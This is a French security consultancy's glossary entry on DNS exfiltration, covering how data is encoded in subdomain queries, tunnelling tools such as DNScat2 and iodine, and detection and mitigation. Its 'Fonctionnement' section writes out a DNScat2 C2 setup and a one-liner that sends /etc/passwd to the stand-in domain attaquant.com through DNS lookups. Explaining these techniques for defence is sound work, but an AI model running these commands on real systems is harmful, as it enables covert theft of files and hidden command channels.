Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Exfiltration DNS

hacking

Définition

L'exfiltration DNS est une technique d'exfiltration de données qui encode des données sensibles dans des requêtes DNS et les envoie vers un serveur DNS contrôlé par l'attaquant. Le protocole DNS étant généralement autorisé en sortie sur tous les réseaux (même les plus restrictifs), c'est un canal d'exfiltration discret et difficile à bloquer sans perturber la résolution de noms. Le principe : les données à exfiltrer sont encodées en base32 ou en hexadécimal (pour être compatibles avec les noms de domaine DNS), puis encodées dans des sous-domaines de requêtes DNS vers un domaine contrôlé par l'attaquant. Par exemple, aGVsbG8gd29ybGQ.attaquant.com encode 'hello world' dans le sous-domaine. Le serveur DNS de l'attaquant reçoit ces requêtes et décode les données. Des outils comme DNScat2, iodine, et dns2tcp implémentent des tunnels DNS bidirectionnels complets, permettant non seulement l'exfiltration de données mais aussi des tunnels TCP arbitraires (SSH, HTTP) via DNS. DNScat2 est particulièrement utilisé pour les communications C2 dans des environnements où seul DNS est autorisé en sortie. Les limitations de l'exfiltration DNS incluent : la longueur maximale d'un nom de domaine (253 caractères, soit environ 150 octets par requête encodés en base32), la nécessité d'avoir un serveur DNS autoritaire pour le domaine de l'attaquant, et une vitesse d'exfiltration relativement faible (quelques KB/s pour les implémentations non optimisées). La détection de l'exfiltration DNS repose sur : l'analyse du volume de requêtes DNS vers un seul domaine (excessivement élevé), la longueur anormale des sous-domaines (base32/hex de données encodées), les entropies élevées dans les noms de sous-domaines (strings aléatoires vs. noms lisibles), et les requêtes vers des domaines récemment enregistrés.

Fonctionnement

Avec DNScat2 — serveur attaquant : ruby dnscat2.rb --dns 'domain=attaquant.com,host=0.0.0.0' --secret=mypassword. Client sur machine compromise : ./dnscat --secret=mypassword attaquant.com. Toutes les communications passent via des requêtes/réponses DNS TXT/A. Pour un exfiltration simple de fichier avec base64 : cat /etc/passwd | base32 | while read chunk; do host $chunk.attaquant.com; done. Le serveur DNS reçoit et reconstruit le fichier depuis les sous-domaines.

Exploitation offensive

L'exfiltration DNS est utilisée dans des environnements très restrictifs (réseaux industriels OT, environnements avec proxy HTTP d'authentification forte, DMZ) où les connexions TCP directes vers Internet sont bloquées mais DNS est autorisé. Les APT l'utilisent pour les communications C2 discrètes dans des cibles à haute sécurité.

Détection et mitigation

Déployer un DNS RPZ (Response Policy Zone) ou un DNS filtering (Cisco Umbrella, Palo Alto DNS Security) qui analyse les requêtes DNS et bloque les domains suspects et les patterns d'exfiltration. Surveiller les métriques DNS (requêtes par domaine, longueur des labels, entropie) dans le SIEM. Implémenter un DNS sinhole pour les domaines DGA et C2 connus.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis